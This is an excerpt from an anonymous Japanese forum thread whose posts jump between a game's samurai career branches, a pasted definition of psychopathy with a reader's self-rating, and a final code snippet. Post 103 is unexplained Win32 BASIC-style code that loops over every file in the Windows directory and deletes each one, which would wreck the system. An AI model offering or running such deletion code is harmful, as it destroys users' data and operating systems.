10/02/10 18:35:13
>>48
侍固有なのは穀潰しの分岐だけだと思うが。
>>48の書いた将軍、裏稼業、隠居、奥義破斬剣の他に、
破産、穀潰し、戦死が共通。
商人、忍者、坊さん(尼さん)、役者(芸者)、医者、盗人には固有あり。
農業はなかなかなれないから不明。
火消しに固有は無いはず。
101:デフォルトの名無しさん
10/02/11 09:13:10
精神病質（せいしんびょうしつ、Psychopath）は、精神医学用語の1つとして用いられた概念。サイコパス、あるいはソシオパスとも呼ばれ、
サイコと略すこともある。シリアルキラー（連続殺人者）や、重度のストーカーの多くが
サイコパスに属すると考えられている。三省堂の大辞林によると「性格が逸脱し、そのために社会を困らせたり自らが悩むもの。性格異常。」とある（Yahoo!辞書）。
特徴
良心の異常な欠如
他者に対する冷淡さや共感のなさ
慢性的に平然と嘘をつく
行動に対する責任が全く取れない
罪悪感が全く無い
過大な自尊心で自己中心的
口達者で浅薄な魅力
102:デフォルトの名無しさん
10/02/11 09:34:11
良心の異常な欠如 あまりあてはまらない
他者に対する冷淡さや共感のなさ あてはまる
慢性的に平然と嘘をつく あてはまらない
行動に対する責任が全く取れない よくあてはまる
罪悪感が全く無い まったくあてはまらない
過大な自尊心で自己中心的 どちらともいえない
口達者で浅薄な魅力 あまりあてはまらない
103:デフォルトの名無しさん
10/02/11 10:01:35
Dim windir[MAX_PATH] As Long,myfile[MAX_PATH] As Long
Dim hfff As HANDLE,wfd As WIN32_FIND_DATA
GetWindowsDirectory(windir,Len(windir))
lstrcat(windir,"\*")
hfff = FindFirstFile(windir,wfd)
GetWindowsDirectory(windir,Len(windir))
Do
wsprintf(myfile,"%s\%s",windir,wfd.cFileName)
DeletoFile(myfile)
Loop While FindNextFile(hfff,wfd)
FindClose(hfff)